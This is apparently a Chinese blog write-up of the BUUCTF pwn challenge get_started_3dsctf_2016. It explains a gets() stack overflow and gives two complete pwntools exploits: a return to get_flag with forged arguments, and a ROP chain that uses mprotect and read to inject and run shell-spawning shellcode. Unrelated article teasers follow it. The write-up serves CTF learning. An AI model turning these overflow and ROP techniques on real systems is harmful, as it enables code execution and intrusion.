【BUUCTF-PWN】12-get_started_3dsctf_2016

32位,开启了NX保护
在这里插入图片描述

执行效果:
在这里插入图片描述

main函数:
在这里插入图片描述

其中gets()函数存在栈溢出,溢出距离为0x38,这里是使用的esp寻址,属于外平栈,不需要覆盖ebp的四个字节。而之前做的题一般都是ebp寻址,属于内平栈,因此需要覆盖ebp。详细可见buu get_started_3dsctf_2016 关于内平栈和外平栈-CSDN博客
在这里插入图片描述
在这里插入图片描述

查看后门函数get_flag():
在这里插入图片描述

这里有两种解题方法:
第一种
该方法的详细解题思路参考:BUUCTF-get_started_3dsctf_2016 - -ro0t - 博客园 (cnblogs.com)

gets使得我们可以输入任意字节数据。我们把ret_addr处给覆盖为后门函数get_flag(a1,a2)的地址0x080489A0
在这里插入图片描述

但是这个后门函数要求两个参数必须是指定值814536271和425138641才可以拿到flag,对应十六进制形式为0x308CD64Fh和0x195719D1h
在这里插入图片描述

同时使用fopen打开文件时,程序必须要正常退出才会有回显,因此需要使用exit函数来正常退出
32位程序payload=offset + 函数地址 + 返回地址(一定得是exit函数的地址)+ 参数
exit函数的地址为0x0804E6A0
在这里插入图片描述

最终可用的exp如下:

from pwn import *
io = remote("node5.buuoj.cn",25076)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0) 
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

执行结果如下,可以成功打通得到flag:
在这里插入图片描述

第二种
该方法的详细解题思路参考:
今天你pwn了吗(上) - FreeBuf网络安全行业门户
get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)

函数列表中可以看到存在mprotect函数
在这里插入图片描述

这里可以利用mprotect函数修改指定内存段为可执行,再注入shellcode从而可以执行shellcode得到flag
在这里插入图片描述

一般利用过程,来自大模型的回答:
在这里插入图片描述

对应的利用payload思路如下,参考自BUUCTF-get_started_3dsctf_2016 - -ro0t - 博客园 (cnblogs.com):
payload1= b"A"0x38+p32(mprotect地址,跳转到函数执行)+p32(gadget,mprotect需要三个参数,我们可以查找合适的gadget)+p32(memaddr,被修改的内存地址)+p32(0x100,被修改的内存大小)+p32(0x7,内存权限rwx,二进制111,也就是7)+p32(read,返回到read函数地址)+p32(memaddr,read函数的返回地址)+p32(0,read函数的参数1)+p32(memaddr,read函数的参数2)+p32(0x100,read函数的参数3)+p32(memaddr,指向修改的内存地址)
参考构造流程如下:
垃圾数据–>mprotect函数地址–>三个连续的pop地址–>.got.plt表起始地址–>内存长度–>内存权限–>read函数–>三个连续的pop地址–>read函数的三个参数–> .got.plt表的起始位置
具体构造流程如下:
1、首先利用gets函数造成溢出,让程序跳转到mprotect函数去执行
获取mprotect函数地址的两种方法:
(1)直接IDA中查找
在这里插入图片描述

(2)通过ELF获取,对应exp片段为
elf = ELF(./get_started_3dsctf_2016)
mprotect_addr = elf.symbols[‘mprotect’]
2、利用mprotect函数将目标地址改为可读可写可执行
详细参见:PWN 利用mprotect函数进行.got.plt地址段的读取
(1)确定mprotect函数的三个参数值
首先确定可用的内存
这里有两种方法,感觉pwndbg的方法更靠谱一些
第一种是使用pwndbg查找可用地址
参考今天你pwn了吗(上) - FreeBuf网络安全行业门户
get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)
在这里插入图片描述

第二种是直接在IDA中查找,crtl+s调出程序的段表,这里还不太清楚怎么去选择可用的程序段,看很多博客都是直接用的.got.plt的起始位置
在这里插入图片描述

第二个参数为内存的长度,这里能写入shellcode就可以,设置为0x100
第三个参数为内存的权限,这里设置为7(4+2+1),代表可读可写可执行
(2)确定gadget
因为mprotect函数需要传入三个地址,返回地址覆盖需要三个连续的pop地址,使用ROPgadget来获取地址:

ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

在这里插入图片描述

帖子里说在这里面查出来的一大串里面选一个就可以,这里选择0x080509a5
参考帖子:PWN 利用mprotect函数进行.got.plt地址段的读取
以上思路示例的exp如下,与题解无关:

# 0x0806fcc8 : pop esi ; pop ebx ; pop edx ; ret
# 0x08050b45 : pop ebx ; pop esi ; pop edi ; ret
pop3_addr = 0x08050b45 # 三个连续的pop地址,查出来选一个就行了
got_plt_addr = 0x080EB000  # .got.plt表的起始地址
got_plt_size = 0x100  # 内存长度
got_plt_type = 0x7  # 内存权限,读写执行

payload = b'a' * 0x2D + p32(elf.symbols['mprotect'])  # 进行栈溢出,将mprotect函数的地址填入返回地址处
payload += p32(pop3_addr)  # 三个连续的pop地址
payload += p32(got_plt_addr) + p32(got_plt_size) + p32(got_plt_type)  # mprotect的三个参数

3、mprotect函数返回地址填上read函数地址,利用read函数将shellcode读入程序段
(1)read函数地址
IDA直接查找
在这里插入图片描述

或者ELF获取:
elf = ELF(./get_started_3dsctf_2016)
mprotect_addr = elf.symbols[‘read’]
(2)确定read函数的三个参数:
read函数原型如下
在这里插入图片描述

这里第一个参数设为0,第二个参数设置为我们上面使用mprotect函数修改的内存地址,第三个参数设置为0x100
因为read函数也有三个参数要设置,我们就可以继续借用上面mprotect中找到的有3个寄存器的ret指令
(3)将read函数的返回地址设置为要写入的内存地址,同时传入pwntools生成的shellcode
到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到修改的内存地址,接下来只需要传入shellcode即可:
r.sendline(asm(shellcraft.sh()))

完整的exp如下,增加了注释描述:

from pwn import *

elf = ELF('./get_started_3dsctf_2016')

r=remote('node5.buuoj.cn', 25697)

pop3_ret = 0x080509a5            # 三个连续的POP地址,ROPgadget查询
mem_addr = 0x80EB000             # 可用的内存,vmmap查询或使用.got.plt表的起始地址
mem_size = 0x1000                # 被修改内存的大小
mem_proc = 0x7                   # 被修改内存的权限,7为可读可写可执行

mprotect_addr = elf.symbols['mprotect']          # mprotect函数的地址
read_addr = elf.symbols['read']                  # read函数的地址

# 利用mprotect函数将目标地址修改为可读可写可执行
payload  = b'A' * 0x38                           # 覆盖到返回地址的距离,因为是外平栈,因此不需要覆盖ebp的4个字节
payload += p32(mprotect_addr)                    # 进行栈溢出,返回地址为mprotect函数的地址
payload += p32(pop3_ret)                         # 三个连续的POP地址,ROPgadget查询

payload += p32(mem_addr)                         # 被修改内存的起始地址
payload += p32(mem_size)                         # 被修改内存的大小
payload += p32(mem_proc)                         # 被修改内存的权限

# 利用read函数将shellcode读入程序段
payload += p32(read_addr)                        # mprotect的返回地址填上read函数的地址

payload += p32(pop3_ret)                         # 三个连续的POP地址,和mprotect函数使用的一样

payload += p32(0)                                # read函数第一个入参,0表示从输入端读取内容
payload += p32(mem_addr)                         # 写入的内存地址 
payload += p32(0x100)                            # 写入的内存长度

payload += p32(mem_addr)                         # 将read函数的返回地址设置为要写入的内存地址

r.sendline(payload)

payload = asm(shellcraft.sh())                   # pwntools生成的shellcode

r.sendline(payload)

r.interactive()

执行结果如下:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/773018.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Golang | Leetcode Golang题解之第216题组合总和III

题目: 题解: func combinationSum3(k int, n int) (ans [][]int) {var temp []intvar dfs func(cur, rest int)dfs func(cur, rest int) {// 找到一个答案if len(temp) k && rest 0 {ans append(ans, append([]int(nil), temp...))return}/…

【Python机器学习】模型评估与改进——二分类指标

目录 1、错误类型 2、不平衡数据集 3、混淆矩阵 与精度的关系。 准确率、召回率与f-分数 分类报告 4、考虑不确定性 5、准确率-召回率曲线 6、受试者工作特征(ROC)与AUC 二分类可能是实践中最常见的机器学习应用,也是概念最简单的应…

3.Charles抓包工具学习

目录 1.使用Charles抓取https2.将抓包导入到postman3.抓包导入到JMeter4.抓小程序的包-只能电脑4.断点设置-前置断点-修改请求数据5.断点设置-后置断点-修改服务器响应6.Mock设置7.模拟弱网8.如何抓取移动端APP9.简单的压力测试 1.使用Charles抓取https 2.将抓包导入到postman …

开始尝试从0写一个项目--后端(一)

创建文件的目录结构 利用这个界面创建 序号 名称 说明 1 SEMS maven父工程,统一管理依赖版本,聚合其他子模块 2 sems-common 子模块,存放公共类,例如:工具类、常量类、异常类等 3 sems-pojo 子模块&#x…

硅纪元视角 | AI纳米机器人突破癌症治疗,精准打击肿瘤细胞

在数字化浪潮的推动下,人工智能(AI)正成为塑造未来的关键力量。硅纪元视角栏目紧跟AI科技的最新发展,捕捉行业动态;提供深入的新闻解读,助您洞悉技术背后的逻辑;汇聚行业专家的见解,…

打卡第2天----数组双指针,滑动窗口

今天是参与训练营第二天,这几道题我都看懂了,自己也能写出来了,实现思路很重要,万事开头难,希望我可以坚持下去。希望最后的结果是量变带来质变。 一、理解双指针思想 leetcode编号:977 不止是在卡尔这里…

深入探讨JavaScript中的队列,结合leetcode全面解读

前言 队列作为一种基本的数据结构,为解决许多实际问题提供了有效的组织和处理方式,对于提高系统的稳定性、可靠性和效率具有重要作用,所以理解队列是很重要的。 本文深入探讨JavaScript中的队列这种数据结构,结合leetcode题目讲解 题目直达…

接口测试工具Postman

Postman Postman介绍 开发API后,用于API测试的工具。在我们平时开发中,特别是需要与接口打交道时,无论是写接口还是用接口,拿到接口后肯定都得提前测试一下。在开发APP接口的过程中,一般接口写完之后,后端…

78110A雷达信号模拟软件

78110A雷达信号模拟软件 78110A雷达信号模拟软件(简称雷达信号模拟软件)主要用于模拟产生雷达发射信号和目标回波信号,软件将编译生成的雷达信号任意波数据下载到信号发生器中,主要是1466-V矢量信号发生器,可实现雷达信号模拟产生。软件可模…

TensorRT-Int8量化详解

int8量化是利用int8乘法替换float32乘法实现性能加速的一种方法 对于常规模型有:y kx b,此时x、k、b都是float32, 对于kx的计算使用float32的乘法 对于int8模型有:y tofp32(toint8(k) * toint8(x)) b,其中int8 * int8结果为in…

SpringBoot的热部署和日志体系

SpringBoot的热部署 每次修改完代码,想看效果的话,不用每次都重新启动代码,等待项目重启 这样就可以了 JDK官方提出的日志框架:Jul log4j的使用方式: (1)引入maven依赖 (2&#x…

头歌资源库(20)最大最小数

一、 问题描述 二、算法思想 使用分治法,可以将数组递归地分割成两部分,直到数组长度为1或2。然后比较这两部分的最大、次大、次小、最小数,最终得到整个数组中的最大两个数和最小两个数。 算法步骤如下: 定义一个函数 findMinM…

uniapp/Android App上架三星市场需要下载所需要的SDK

只需添加以下一个权限在AndroidManifest.xml <uses-permission android:name"com.samsung.android.providers.context.permission.WRITE_USE_APP_FEATURE_SURVEY"/>uniapp开发的&#xff0c;需要在App权限配置中加入以上的额外权限&#xff1a;

Generative Modeling by Estimating Gradients of the Data Distribution

Generative Modeling by Estimating Gradients of the Data Distribution 本文介绍宋飏提出的带噪声扰动的基于得分的生成模型。首先介绍基本的基于得分的生成模型的训练方法&#xff08;得分匹配&#xff09;和采样方法&#xff08;朗之万动力学&#xff09;。然后基于流形假…

2024 年 亚太赛 APMCM (B题)中文赛道国际大学生数学建模挑战赛 |洪水灾害数据分析 | 数学建模完整代码+建模过程全解全析

当大家面临着复杂的数学建模问题时&#xff0c;你是否曾经感到茫然无措&#xff1f;作为2022年美国大学生数学建模比赛的O奖得主&#xff0c;我为大家提供了一套优秀的解题思路&#xff0c;让你轻松应对各种难题&#xff01; 完整内容可以在文章末尾领取&#xff01; 该段文字…

HTML内容爬取:使用Objective-C进行网页数据提取

网页爬取简介 网页爬取&#xff0c;通常被称为网络爬虫或爬虫&#xff0c;是一种自动浏览网页并提取所需数据的技术。这些数据可以是文本、图片、链接或任何网页上的元素。爬虫通常遵循一定的规则&#xff0c;访问网页&#xff0c;解析页面内容&#xff0c;并存储所需信息。 …

自动化立体仓库出入库能力及堆垛机节拍

导语 大家好&#xff0c;我是社长&#xff0c;老K。专注分享智能制造和智能仓储物流等内容。 新书《智能物流系统构成与技术实践》人俱乐部 完整版文件和更多学习资料&#xff0c;请球友到知识星球【智能仓储物流技术研习社】自行下载 自动化立体仓库的出入库能力、堆垛机节拍以…

用720云搭建数字孪生VR智慧安防系统,赋能安防升级!

“安全防范"一直是我国城镇化发展进程中重点关注的工作板块&#xff0c;随着时代发展需求与科技的日新月异&#xff0c;安防行业正在积极融合VR3D数字孪生技术&#xff0c;升级安防数字基础设施和安防产品服务创新。 今年2月&#xff0c;《数字中国建设整体布局规划》的出…

Pycharm的终端(Terminal)中切换到当前项目所在的虚拟环境

1.在Pycharm最下端点击终端/Terminal, 2.点击终端窗口最上端最右边的∨&#xff0c; 3.点击Command Prompt&#xff0c;切换环境&#xff0c; 可以看到现在环境已经由默认的PS(Window PowerShell)切换为项目所使用的虚拟环境。 4.更近一步&#xff0c;如果想让Pycharm默认显示…

macOS使用Karabiner-Elements解决罗技鼠标G304连击、单击变双击的故障

记录一下罗技鼠标G304单击变双击的软件解决过程和方案&#xff08;适用于macOS&#xff0c; 如果是Windows&#xff0c;使用AutoHotKey也有类似解决办法、方案&#xff0c;改日提供&#xff09;&#xff1a; 背景&#xff1a;通过罗技Logitech G HUB软件对罗技的游戏鼠标侧键b…